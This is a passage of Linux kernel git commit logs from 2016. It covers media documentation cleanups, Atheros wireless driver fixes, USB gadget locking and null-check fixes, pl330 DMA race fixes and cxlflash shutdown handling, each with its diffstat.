Documentation/media/uapi/v4l/field-order.rst | 8 +- Documentation/media/uapi/v4l/format.rst | 2 +- Documentation/media/uapi/v4l/func-mmap.rst | 8 +- Documentation/media/uapi/v4l/func-munmap.rst | 4 +- Documentation/media/uapi/v4l/hist-v4l2.rst | 108 ++++++++++----------- Documentation/media/uapi/v4l/mmap.rst | 12 +-- Documentation/media/uapi/v4l/pixfmt-002.rst | 6 +- Documentation/media/uapi/v4l/pixfmt-003.rst | 22 ++--- Documentation/media/uapi/v4l/pixfmt-006.rst | 4 +- Documentation/media/uapi/v4l/pixfmt.rst | 4 +- Documentation/media/uapi/v4l/planar-apis.rst | 8 +- Documentation/media/uapi/v4l/rw.rst | 2 +- Documentation/media/uapi/v4l/selection-api-005.rst | 10 +- Documentation/media/uapi/v4l/standard.rst | 8 +- Documentation/media/uapi/v4l/streaming-par.rst | 2 +- Documentation/media/uapi/v4l/tuner.rst | 10 +- Documentation/media/uapi/v4l/userp.rst | 8 +- Documentation/media/uapi/v4l/v4l2.rst | 6 +- Documentation/media/uapi/v4l/video.rst | 2 +- .../media/uapi/v4l/vidioc-create-bufs.rst | 8 +- Documentation/media/uapi/v4l/vidioc-cropcap.rst | 6 +- .../media/uapi/v4l/vidioc-dbg-g-chip-info.rst | 4 +- .../media/uapi/v4l/vidioc-dbg-g-register.rst | 6 +- .../media/uapi/v4l/vidioc-decoder-cmd.rst | 6 +- Documentation/media/uapi/v4l/vidioc-dqevent.rst | 40 ++++---- .../media/uapi/v4l/vidioc-dv-timings-cap.rst | 10 +- .../media/uapi/v4l/vidioc-encoder-cmd.rst | 4 +- .../media/uapi/v4l/vidioc-enum-dv-timings.rst | 10 +- Documentation/media/uapi/v4l/vidioc-enum-fmt.rst | 6 +- .../media/uapi/v4l/vidioc-enum-frameintervals.rst | 16 +-- .../media/uapi/v4l/vidioc-enum-framesizes.rst | 12 +-- .../media/uapi/v4l/vidioc-enum-freq-bands.rst | 14 +-- Documentation/media/uapi/v4l/vidioc-enumaudio.rst | 4 +- .../media/uapi/v4l/vidioc-enumaudioout.rst | 4 +- Documentation/media/uapi/v4l/vidioc-enuminput.rst | 8 +- Documentation/media/uapi/v4l/vidioc-enumoutput.rst | 8 +- Documentation/media/uapi/v4l/vidioc-enumstd.rst | 12 +-- Documentation/media/uapi/v4l/vidioc-expbuf.rst | 12 +-- Documentation/media/uapi/v4l/vidioc-g-audio.rst | 6 +- Documentation/media/uapi/v4l/vidioc-g-audioout.rst | 6 +- Documentation/media/uapi/v4l/vidioc-g-crop.rst | 10 +- Documentation/media/uapi/v4l/vidioc-g-ctrl.rst | 10 +- .../media/uapi/v4l/vidioc-g-dv-timings.rst | 10 +- .../media/uapi/v4l/vidioc-g-enc-index.rst | 8 +- .../media/uapi/v4l/vidioc-g-ext-ctrls.rst | 26 ++--- Documentation/media/uapi/v4l/vidioc-g-fbuf.rst | 18 ++-- Documentation/media/uapi/v4l/vidioc-g-fmt.rst | 24 ++--- .../media/uapi/v4l/vidioc-g-frequency.rst | 20 ++-- Documentation/media/uapi/v4l/vidioc-g-input.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-jpegcomp.rst | 2 +- .../media/uapi/v4l/vidioc-g-modulator.rst | 8 +- Documentation/media/uapi/v4l/vidioc-g-output.rst | 2 +- Documentation/media/uapi/v4l/vidioc-g-parm.rst | 22 ++--- .../media/uapi/v4l/vidioc-g-selection.rst | 28 +++--- .../media/uapi/v4l/vidioc-g-sliced-vbi-cap.rst | 4 +- Documentation/media/uapi/v4l/vidioc-g-std.rst | 4 +- Documentation/media/uapi/v4l/vidioc-g-tuner.rst | 12 +-- .../media/uapi/v4l/vidioc-prepare-buf.rst | 2 +- Documentation/media/uapi/v4l/vidioc-qbuf.rst | 20 ++-- .../media/uapi/v4l/vidioc-query-dv-timings.rst | 2 +- Documentation/media/uapi/v4l/vidioc-querybuf.rst | 14 +-- Documentation/media/uapi/v4l/vidioc-querycap.rst | 8 +- Documentation/media/uapi/v4l/vidioc-queryctrl.rst | 4 +- Documentation/media/uapi/v4l/vidioc-reqbufs.rst | 6 +- .../media/uapi/v4l/vidioc-s-hw-freq-seek.rst | 22 ++--- Documentation/media/uapi/v4l/vidioc-streamon.rst | 2 +- .../uapi/v4l/vidioc-subdev-enum-frame-interval.rst | 2 +- .../media/uapi/v4l/vidioc-subdev-g-crop.rst | 2 +- .../uapi/v4l/vidioc-subdev-g-frame-interval.rst | 2 +- .../media/uapi/v4l/vidioc-subdev-g-selection.rst | 2 +- .../media/uapi/v4l/vidioc-subscribe-event.rst | 2 +- 117 files changed, 603 insertions(+), 603 deletions(-) commit 2257e180101c910c2d93dd226ab1e500e4a6813c Author: Mauro Carvalho Chehab Date: Mon Aug 29 17:26:15 2016 -0300 [media] v4l2-ctrls: document some extra data structures The typedefs and a macro are not defined. While here, improve a few bits on the documentation. Signed-off-by: Mauro Carvalho Chehab include/media/v4l2-ctrls.h | 51 +++++++++++++++++++++++++++++++++++++++------- 1 file changed, 44 insertions(+), 7 deletions(-) commit 9fa7235f88386c9a5f5013a90f0c6fe8aa6fe828 Author: Mauro Carvalho Chehab Date: Mon Aug 29 17:00:22 2016 -0300 [media] rc-map.h: document structs/enums on it There are some structs/enums that aren't documented via kernel-doc markup. Add documentation for them. Fix those warnings: ./include/media/rc-map.h:103: WARNING: c:type reference target not found: rc_map_list ./include/media/rc-map.h:110: WARNING: c:type reference target not found: rc_map_list ./include/media/rc-map.h:117: WARNING: c:type reference target not found: rc_map Signed-off-by: Mauro Carvalho Chehab include/media/rc-map.h | 94 ++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 71 insertions(+), 23 deletions(-) commit 730fbf2a096054e95a84dde12532bd799809a229 Author: Mauro Carvalho Chehab Date: Mon Aug 29 16:09:16 2016 -0300 [media] conf_nitpick.py: ignore external functions used on mediactl There are some functions/macros used by the mediactl documentation that are alien to the media subsystem. Ignore them. After this patch, the media core will only complain about this static function: Documentation/media/kapi/mc-core.rst:97: WARNING: c:func reference target not found: media_devnode_release Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 3 +++ 1 file changed, 3 insertions(+) commit 48a7c4bac94dfb367d1d64123b5182536912c03e Author: Mauro Carvalho Chehab Date: Mon Aug 29 16:09:11 2016 -0300 [media] docs-rst: improve the kAPI documentation for the mediactl There are several issues on the documentation: - the media.h header were not properly referenced; - verbatim expressions were not properly marked as such; - struct member references were wrong; - some notes were not using the right markup; - a comment that were moved to the kernel-doc markup were duplicated as a comment inside the struct media_entity; - some args were not pointing to the struct they're using; - macros weren't documented. Signed-off-by: Mauro Carvalho Chehab include/media/media-device.h | 115 ++++++++++++-------- include/media/media-devnode.h | 2 +- include/media/media-entity.h | 237 ++++++++++++++++++++++++++++-------------- 3 files changed, 231 insertions(+), 123 deletions(-) commit 36aefa35f4bfab4c40f2445864e4fcb445d0d09d Author: Mauro Carvalho Chehab Date: Mon Aug 29 16:04:01 2016 -0300 [media] demux.h: fix a documentation warning The kernel-doc parser didn't handle well the private: tag. Rewrite it. Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-core/demux.h | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 3c7d91eff7dc9477a00b8c692ffa0ccf9e84517d Author: Mauro Carvalho Chehab Date: Mon Aug 29 16:03:00 2016 -0300 [media] mc-core.rst: Fix cross-references to the source The cross-reference to "struct media_pad" was pointing to a place that doesn't exist. Fix it, and adjust the second reference on the same paragraph to use the same text. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/mc-core.rst | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit bb501b76c7cbafa278f8edec9622c861a9fc67bd Author: Mauro Carvalho Chehab Date: Mon Aug 29 10:05:49 2016 -0300 [media] demux.h: Fix a few documentation issues demux.h was lacking documentation for the DMX_FE_ENTRY macro: ./drivers/media/dvb-core/demux.h:511: WARNING: c:func reference target not found: DMX_FE_ENTRY While here, get rid of unused parameters and fix a few minor issues at the header file. Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-core/demux.h | 36 ++++++++++++++++-------------------- 1 file changed, 16 insertions(+), 20 deletions(-) commit 9aa9d9289037faa4fefead06ff948972b10cc64f Author: Mauro Carvalho Chehab Date: Mon Aug 29 10:01:06 2016 -0300 [media] dvb_ringbuffer.h: document the define macros There are a few define macros not documented, because the ReST output was causing more warnings. Now that this got fixed, document them. While here, fix the remaining coding style issues. Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-core/dvb_ringbuffer.h | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) commit b6df512a9f9580abc07cd1963ced91b5a87619ed Author: Mauro Carvalho Chehab Date: Mon Aug 29 08:39:32 2016 -0300 [media] dtv-core.rst: move DTV ringbuffer notes to kAPI doc Instead of keeping those notes at the file on a non-structured way, move them to dtv-core.rst, using the proper ReST tags. Signed-off-by: Mauro Carvalho Chehab Documentation/media/kapi/dtv-core.rst | 38 +++++++++++++++++++++++++++++++-- drivers/media/dvb-core/dvb_ringbuffer.h | 28 ------------------------ 2 files changed, 36 insertions(+), 30 deletions(-) commit ff54c19d8e8fcfd9f660bf849b0e92f8c69cc0c2 Author: Mauro Carvalho Chehab Date: Mon Aug 29 08:38:01 2016 -0300 [media] dvb_ringbuffer.h: Document all functions There are several functions there there weren't properly documented. Add documentation for them. While here, make checkpatch.pl happier. Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-core/dvb_ringbuffer.h | 179 ++++++++++++++++++++++++-------- 1 file changed, 134 insertions(+), 45 deletions(-) commit b3ef4445fccb169480c0b6ea76e8b36c94af2a16 Author: Mauro Carvalho Chehab Date: Mon Aug 29 08:39:47 2016 -0300 [media] conf_nitpick.py: add external vars to ignore list There a some other types and functions that aren't declared inside the media document but are elsewhere. Add them to the ignore list. Signed-off-by: Mauro Carvalho Chehab Documentation/media/conf_nitpick.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 22c4003364437b4a3ddd36bd19b2080f1a20d372 Author: Mauro Carvalho Chehab Date: Wed Aug 31 06:44:21 2016 -0300 [media] docs-rst: parse-headers.pl: use the C domain for cross-references Instead of keep using the normal reference, move to the C domain ones. Using C domains everywhere will allow cross-references between kAPI and uAPI docs. Acked-by: Jonathan Corbet Signed-off-by: Mauro Carvalho Chehab Documentation/sphinx/parse-headers.pl | 113 ++++++++++++++++++---------------- 1 file changed, 59 insertions(+), 54 deletions(-) commit bcec7c218d5aeb170d18c49a33f9bd36ddf9ee37 Author: Mauro Carvalho Chehab Date: Wed Aug 31 06:41:40 2016 -0300 [media] docs-rst: parse-headers.pl: make debug a command line option Add a parser for the --debug option, in order to allow seeing what the parser is doing. Acked-by: Jonathan Corbet Signed-off-by: Mauro Carvalho Chehab Documentation/sphinx/parse-headers.pl | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 3cd32dde17ea938651b434fc35dee8370f555378 Merge: 78a9e17 e34f2ff Author: Kalle Valo Date: Fri Sep 9 15:19:40 2016 +0300 Merge branch 'ath-current' into ath-next Commit 3c97f5de1f28 ("ath10k: implement NAPI support") conflicts with ath-current. To avoid any merge problems merge ath-current to ath-next already now. Conflicts: drivers/net/wireless/ath/ath10k/htt_rx.c commit ba36d53db536d31c49c139484e82581eeb377278 Author: Joel Stanley Date: Thu Jul 21 23:13:53 2016 +0930 clocksource/drivers/moxart: Add Aspeed support The Aspeed SoC has timer IP with a very similar register layout to the moxart timer. This patch adds support for the fourth and fifth gen aspeed SoCs, and has been tested on the ast2400 and ast2500. Signed-off-by: Joel Stanley Acked-by: Rob Herring Signed-off-by: Daniel Lezcano .../bindings/timer/moxa,moxart-timer.txt | 4 ++- drivers/clocksource/moxart_timer.c | 32 ++++++++++++++++++++++ 2 files changed, 35 insertions(+), 1 deletion(-) commit 82fdd070873f7ac9b3e37b3d4523b4ae27d02e50 Author: Joel Stanley Date: Thu Jul 21 23:13:52 2016 +0930 clocksource/drivers/moxart: Use struct to hold state Add a struct moxart_timer to hold the driver state, including the irqaction and struct clock_event_device. Most importantly this holds values for enabling and disabling the timer, so future support can be added for devices that use different bits for enable/disable. In preparation for future hardware support we add a MOXART prefix to the existing values. Signed-off-by: Joel Stanley Signed-off-by: Daniel Lezcano drivers/clocksource/moxart_timer.c | 147 ++++++++++++++++++++++--------------- 1 file changed, 86 insertions(+), 61 deletions(-) commit 78a9e170388b672f609cb6e8e097e0ddca24e6f5 Author: Daniel Wagner Date: Thu Aug 18 15:12:05 2016 +0200 carl9170: Fix wrong completion usage carl9170_usb_stop() is used from several places to flush and cleanup any pending work. The normal pattern is to send a request and wait for the irq handler to call complete(). The completion is not reinitialized during normal operation and as the old comment indicates it is important to keep calls to wait_for_completion_timeout() and complete() balanced. Calling complete_all() brings this equilibirum out of balance and needs to be fixed by a reinit_completion(). But that opens a small race window. It is possible that the sequence of complete_all(), reinit_completion() is faster than the wait_for_completion_timeout() can do its work. The wake up is not lost but the done counter test is after reinit_completion() has been executed. The only reason we don't see carl9170_exec_cmd() hang forever is we use the timeout version of wait_for_copletion(). Let's fix this by reinitializing the completion (that is just setting done counter to 0) just before we send out an request. Now, carl9170_usb_stop() can be sure a complete() call is enough to make progess since there is only one waiter at max. This is a common pattern also seen in various drivers which use completion. Signed-off-by: Daniel Wagner Signed-off-by: Kalle Valo drivers/net/wireless/ath/carl9170/usb.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 70164742783c371516199271d923731afc40e25e Author: Joel Stanley Date: Thu Jul 21 23:13:51 2016 +0930 clocksource/drivers/moxart: Refactor enable/disable This patch abstracts the enable and disable register writes into their own functions in preparation for future changes to use SoC specific values for the writes. Signed-off-by: Joel Stanley Signed-off-by: Daniel Lezcano drivers/clocksource/moxart_timer.c | 22 ++++++++++++++++------ 1 file changed, 16 insertions(+), 6 deletions(-) commit cabd34d0e9c47ac8747e7a1d871e10acdb8e980f Author: Eric Bentley Date: Tue Aug 30 02:16:19 2016 -0400 ath6kl: Allow the radio to report 0 dbm txpower without timing out The ath6kl driver attempts to get the txpower value from the radio by first clearing the existing stored value and then watching the value to become non-zero. APs allow setting client power to values from -127..127, but this radio is not capable of setting values less then 0 and so will report txpower as 0dbm for both negative and 0 client power values. When the radio has txpower set to 0dbm txpower (equivalent to 1mw) the ath6kl_cfg80211_get_txpower() function will remain in the wait_event_interruptible_timeout() loop waiting for the value to be non-zero, and will eventually timeout. This results in a 5 second delay in response. However, the correct value of zero is eventually returned. The 6004 defaults to 63dbm which is then limited by regulatory and hardware limits with max of 18dbm (6003 max is 16dbm), therefore we can use values larger then these to be able to determine when the value has been updated. To correct the issue, set the value to a nonsensical value (255) and wait for it to change to the valid value. Tested on both 6003 and 6004 based radios. Return value of zero is correctly returned in an expected amount of time (similar to when returning non-zero values) when AP client power is set to both 0 and negative values. Signed-off-by: Eric Bentley Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath6kl/cfg80211.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit ab57f86198d6ff20371613d4a02fd4841972a5c0 Author: Oliver Neukum Date: Wed Sep 7 14:30:01 2016 +0200 cdc-acm: delete obsolete debug messages Some debug messages merely provide a function trace without additional debug data. They predate ftrace and can be replaced by it. Drop them without replacement. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-acm.c | 20 +++----------------- 1 file changed, 3 insertions(+), 17 deletions(-) commit ce8bb344dffb493fbc80027a28d4f03c029d775e Author: Oliver Neukum Date: Tue Aug 16 15:12:22 2016 +0200 cdc-wdm: add terminating newline Debug messages should be properly terminated. Signed-off-by: Oliver Neukum Signed-off-by: Greg Kroah-Hartman drivers/usb/class/cdc-wdm.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit ad764c49f65ac171e493e6baf39bc8ba296ef376 Author: Peter Chen Date: Tue Aug 16 17:33:25 2016 +0800 usb: Kconfig: move ulpi bus support out of host The ULPI bus is not only for host, but for device mode too, so move it out from host's Kconfig. Signed-off-by: Peter Chen Acked-by: Heikki Krogerus Signed-off-by: Greg Kroah-Hartman drivers/usb/Kconfig | 20 ++++++++++++++++++++ drivers/usb/core/Kconfig | 20 -------------------- 2 files changed, 20 insertions(+), 20 deletions(-) commit f3fa63144482d6dffd26d8b0a94b06a55d22d940 Author: Dan Kephart Date: Wed Aug 3 16:43:43 2016 -0400 ath6kl: enable firmware crash dumps on the AR6004 The firmware crash dumps on the 6004 are the same as the 6003. Remove the statement guarding it from dumping on the 6004. Renamed the REG_DUMP_COUNT_AR6003 to reflect support on both chips. Signed-off-by: Dan Kephart Reviewed-by: Steve deRosier Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath6kl/hif.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit b5182e157d3a1d94d7ee6b4f4cb8267f9d7ad606 Author: Bob Copeland Date: Sat Apr 16 10:54:37 2016 -0400 ath9k: remove repetitions of mask array size The constant "123", which is the number of elements in mask_m / mask_p, is repeated several times in this function. Replace memsets with array initialization, and replace a loop conditional with ARRAY_SIZE() so that we don't repeat ourselves. Signed-off-by: Bob Copeland Reviewed-by: Oleksij Rempel Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/ar5008_phy.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 77eb3d693182b4eaa88c6ba406fbb92b1f1bd636 Author: Ashok Raj Nagarajan Date: Fri Sep 2 10:59:53 2016 +0530 ath10k: fix reporting channel survey data When user requests for survey dump data, driver is providing wrong survey information. This information we sent is the survey data that we have collected during previous user request. This issue occurs because we request survey dump for wrong channel. With this change, we correctly display the correct and current survey information to userspace. Fixes: fa7937e3d5c2 ("ath10k: update bss channel survey information") Signed-off-by: Ashok Raj Nagarajan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/mac.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fe79f6314a717cf031a6c04f180910583633c37e Author: Mohammed Shafi Shajakhan Date: Thu Sep 1 21:43:36 2016 +0530 ath10k: remove unnecessary error code assignment The error assigned does not seems to be used anywhere, fixes nothing just a small cleanup Signed-off-by: Mohammed Shafi Shajakhan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi.c | 1 - 1 file changed, 1 deletion(-) commit 315c457ff123d5e36eb5fa41ed41512609f64bee Author: Felix Fietkau Date: Fri Sep 2 19:46:13 2016 +0300 ath9k: improve powersave filter handling For non-aggregated frames, ath9k was leaving handling of powersave filtered packets to mac80211. This can be too slow if the intermediate queue is already filled with packets and mac80211 does not immediately send a new packet via drv_tx(). Improve response time with filtered frames by triggering clearing the powersave filter internally. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/xmit.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit d94a461d7a7df68991fb9663531173f60ef89c68 Author: Felix Fietkau Date: Fri Sep 2 19:46:12 2016 +0300 ath9k: use ieee80211_tx_status_noskb where possible It removes the need for undoing the padding changes to skb->data and it improves performance by eliminating one tx status lookup per MPDU in the status path. It is also useful for preparing a follow-up fix to better handle powersave filtering. A side effect is that these counters, available via debugfs, become now invalid: * dot11TransmittedFragmentCount * dot11FrameDuplicateCount, * dot11ReceivedFragmentCount * dot11MulticastReceivedFrameCount Signed-off-by: Felix Fietkau [kvalo@qca.qualcomm.com: add a note about counters, thanks to Zefir Kurtisi] Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath9k/xmit.c | 94 +++++++++++++++++++++++------------ 1 file changed, 62 insertions(+), 32 deletions(-) commit 18f53fe0f30331e826b075709ed7b26b9283235e Author: Rajkumar Manoharan Date: Fri Sep 2 19:46:10 2016 +0300 ath10k: fix throughput regression in multi client mode commit 7a0adc83f34d ("ath10k: improve tx scheduling") is causing severe throughput drop in multi client mode. This issue is originally reported in veriwave setup with 50 clients with TCP downlink traffic. While increasing number of clients, the average throughput drops gradually. With 50 clients, the combined peak throughput is decreased to 98 Mbps whereas reverting given commit restored it to 550 Mbps. Processing txqs for every tx completion is causing overhead. Ideally for management frame tx completion, pending txqs processing can be avoided. The change partly reverts the commit "ath10k: improve tx scheduling". Processing pending txqs after all skbs tx completion will yeild enough room to burst tx frames. Fixes: 7a0adc83f34d ("ath10k: improve tx scheduling") Signed-off-by: Rajkumar Manoharan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/htt_rx.c | 2 ++ drivers/net/wireless/ath/ath10k/txrx.c | 2 -- 2 files changed, 2 insertions(+), 2 deletions(-) commit d6e10bf2ba4783881670731faf8d3705cad488eb Author: Arnd Bergmann Date: Fri Sep 9 12:01:51 2016 +0200 usb: dwc3: avoid -Wmaybe-uninitialized warning Cleaning up the loop in dwc3_cleanup_done_reqs() introduced a gcc warning if built with "-Wmaybe-uninitialized": drivers/usb/dwc3/gadget.c: In function 'dwc3_endpoint_transfer_complete': drivers/usb/dwc3/gadget.c:2015:9: 'trb' may be used uninitialized in this function [-Wmaybe-uninitialized] I believe it is a false positive and we always have a valid 'trb' pointer at the end of the function, but neither I nor the compiler are able to prove that. This works around the warning by computing a flag earlier in the function when it's guaranteed to be valid, which tells the compiler that it's safe and makes it easier to understand to me. Signed-off-by: Arnd Bergmann Fixes: 31162af447d7 ("usb: dwc3: gadget: avoid while (1) loop on completion") Signed-off-by: Felipe Balbi drivers/usb/dwc3/gadget.c | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 0ef7528d15c2981d315c5dd45917559e47d5149d Author: Baoyou Xie Date: Thu Sep 8 16:50:39 2016 -0600 coresight: tmc: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/hwtracing/coresight/coresight-tmc-etr.c:23:6: warning: no previous prototype for 'tmc_etr_enable_hw' [-Wmissing-prototypes] drivers/hwtracing/coresight/coresight-tmc-etf.c:25:6: warning: no previous prototype for 'tmc_etb_enable_hw' [-Wmissing-prototypes] drivers/hwtracing/coresight/coresight-tmc.c:250:9: warning: no previous prototype for ‘trigger_cntr_show’ [-Wmissing-prototypes] ... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-tmc-etf.c | 2 +- drivers/hwtracing/coresight/coresight-tmc-etr.c | 2 +- drivers/hwtracing/coresight/coresight-tmc.c | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) commit 8e67cdbc2f7b57bc1448c505ce5c20e60238728b Author: Mathieu Poirier Date: Thu Sep 8 16:50:38 2016 -0600 coresight: perf: deal with error condition properly Function coresight_build_path() should return -ENOMEM when kzalloc fails to allocated the requested memory. That way callers can deal with the error condition in a similar way. Signed-off-by: Mathieu Poirier Signed-off-by: Greg Kroah-Hartman drivers/hwtracing/coresight/coresight-etm-perf.c | 4 ++-- drivers/hwtracing/coresight/coresight.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit a40235a2278a315261ee007fc433ec1cfb31666f Author: Hsin-Yu Chao Date: Tue Aug 23 17:16:55 2016 +0800 dmaengine: pl330: Acquire dmac's spinlock in pl330_tx_status There is a racing when accessing dmac thread in pl330_tx_status that the pl330_update is handling active request at the same time and changing the status of descriptors. This could cause an invalid transferred count from BUSY descriptor added up to the residual number. Fix the bug by using the dmac's spinlock in pl330_tx_status to protect thread resources from changing. Note that the nested order of holding dmac's and dma_chan's spinlock is consistent with the rest of the driver: dma_chan first and then dmac, so it is safe from deadlock scenario. Signed-off-by: Hsin-Yu Chao Reviewed-by: Guenter Roeck Signed-off-by: Vinod Koul drivers/dma/pl330.c | 2 ++ 1 file changed, 2 insertions(+) commit 3c97f5de1f282492335a6aec1f94b77f7f899b8c Author: Rajkumar Manoharan Date: Fri Sep 2 19:46:09 2016 +0300 ath10k: implement NAPI support Add NAPI support for rx and tx completion. NAPI poll is scheduled from interrupt handler. The design is as below - on interrupt - schedule napi and mask interrupts - on poll - process all pipes (no actual Tx/Rx) - process Rx within budget - if quota exceeds budget reschedule napi poll by returning budget - process Tx completions and update budget if necessary - process Tx fetch indications (pull-push) - push any other pending Tx (if possible) - before resched or napi completion replenish htt rx ring buffer - if work done < budget, complete napi poll and unmask interrupts This change also get rid of two tasklets (intr_tq and txrx_compl_task). Measured peak throughput with NAPI on IPQ4019 platform in controlled environment. No noticeable reduction in throughput is seen and also observed improvements in CPU usage. Approx. 15% CPU usage got reduced in UDP uplink case. DL: AP DUT Tx UL: AP DUT Rx IPQ4019 (avg. cpu usage %) ======== TOT +NAPI =========== ============= TCP DL 644 Mbps (42%) 645 Mbps (36%) TCP UL 673 Mbps (30%) 675 Mbps (26%) UDP DL 682 Mbps (49%) 680 Mbps (49%) UDP UL 720 Mbps (28%) 717 Mbps (11%) Signed-off-by: Rajkumar Manoharan Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/ahb.c | 10 +- drivers/net/wireless/ath/ath10k/core.c | 2 + drivers/net/wireless/ath/ath10k/core.h | 8 ++ drivers/net/wireless/ath/ath10k/htt.h | 2 +- drivers/net/wireless/ath/ath10k/htt_rx.c | 154 +++++++++++++++++++------------ drivers/net/wireless/ath/ath10k/htt_tx.c | 2 - drivers/net/wireless/ath/ath10k/pci.c | 71 ++++++++------ drivers/net/wireless/ath/ath10k/pci.h | 6 +- 8 files changed, 159 insertions(+), 96 deletions(-) commit c9ffc78745f89e300fe704348dd8e6800acf4d18 Author: Harish Jenny K N Date: Fri Sep 9 11:30:42 2016 +0200 usb: gadget: NCM: Protect dev->port_usb using dev->lock This commit incorporates findings from https://lkml.org/lkml/2016/4/25/594 The function has been modified to make sure we hold the dev lock when accessing the net device pointer. Acked-by: Jim Baxter Signed-off-by: Harish Jenny K N Signed-off-by: Felipe Balbi drivers/usb/gadget/function/u_ether.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit d64e9a2c750930272492952c16f3f2c95311a6c9 Author: Stephen Barber Date: Thu Aug 18 17:59:59 2016 -0700 dmaengine: pl330: fix residual for non-running BUSY descriptors Only one descriptor in the work list should be running at any given time, but it's possible to have an enqueued BUSY descriptor that has not yet transferred any data, or for a BUSY descriptor to linger briefly before transitioning to DONE. These cases should be handled to keep residual calculations consistent even with the non-running BUSY descriptors in the work list. Signed-off-by: Stephen Barber Signed-off-by: Vinod Koul drivers/dma/pl330.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 79775f441838403be856e06eaab893a3fe9dd7b2 Author: Harish Jenny K N Date: Fri Sep 9 11:30:41 2016 +0200 usb: gadget: u_ether: fix another dereference after null check dev->port_usb is checked for null pointer previously, so dev->port_usb might be null during no zlp check, fix it by adding null pointer check. Acked-by: Jim Baxter Signed-off-by: Harish Jenny K N Signed-off-by: Felipe Balbi drivers/usb/gadget/function/u_ether.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 3ba1eb17b633b419737b65429fa7124ce87c5efc Author: Vivek yadav Date: Fri Sep 9 00:42:30 2016 -0700 Drivers: hv: hv_util: Avoid dynamic allocation in time synch Under stress, we have seen allocation failure in time synch code. Avoid this dynamic allocation. Signed-off-by: Vivek Yadav Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/hv_util.c | 39 ++++++++++++++++++++++++++++----------- 1 file changed, 28 insertions(+), 11 deletions(-) commit c8a2c191f56dfd1bc132781ef47a46e0c6a4d18d Author: Nicolin Chen Date: Wed Sep 7 18:24:28 2016 -0700 dmaengine: dmatest: Apply copy_align to DMA_SG as well The DMA_SG is still a type of memory copy operation that should conform the hardware restriction. So this patch just applies the copy_align to DMA_SG as well. Signed-off-by: Nicolin Chen Signed-off-by: Vinod Koul drivers/dma/dmatest.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit babf985d1e1b0677cb264acd01319d2b9c8f4327 Author: Uma Krishnan Date: Fri Sep 2 15:39:16 2016 -0500 scsi: cxlflash: Remove the device cleanly in the system shutdown path Commit 704c4b0ddc03 ("cxlflash: Shutdown notify support for CXL Flash cards") was recently introduced to notify the AFU when a system is going down. Due to the position of the cxlflash driver in the device stack, cxlflash devices are _always_ removed during a reboot/shutdown. This can lead to a crash if the cxlflash shutdown hook is invoked _after_ the shutdown hook for the owning virtual PHB. Furthermore, the current implementation of shutdown/remove hooks for cxlflash are not tolerant to being invoked when the device is not enabled. This can also lead to a crash in situations where the remove hook is invoked after the device has been removed via the vPHBs shutdown hook. An example of this scenario would be an EEH reset failure while a reboot/shutdown is in progress. To solve both problems, the shutdown hook for cxlflash is updated to simply remove the device. This path already includes the AFU notification and thus this solution will continue to perform the original intent. At the same time, the remove hook is updated to protect against being called when the device is not enabled. Fixes: 704c4b0ddc03 ("cxlflash: Shutdown notify support for CXL Flash cards") Signed-off-by: Uma Krishnan Acked-by: Matthew R. Ochs Signed-off-by: Martin K. Petersen drivers/scsi/cxlflash/main.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit bbbfae962b7c221237c0f92547ee0c83f7204747 Author: Uma Krishnan Date: Fri Sep 2 15:38:48 2016 -0500 scsi: cxlflash: Scan host only after the port is ready for I/O When a port link is established, the AFU sends a 'link up' interrupt. After the link is up, corresponding initialization steps are performed on the card. Following that, when the card is ready for I/O, the AFU sends 'login succeeded' interrupt. Today, cxlflash invokes scsi_scan_host() upon receipt of both interrupts. SCSI commands sent to the port prior to the 'login succeeded' interrupt will fail with 'port not available' error. This is not desirable. Moreover, when async_scan is active for the host, subsequent scan calls are terminated with error. Due to this, the 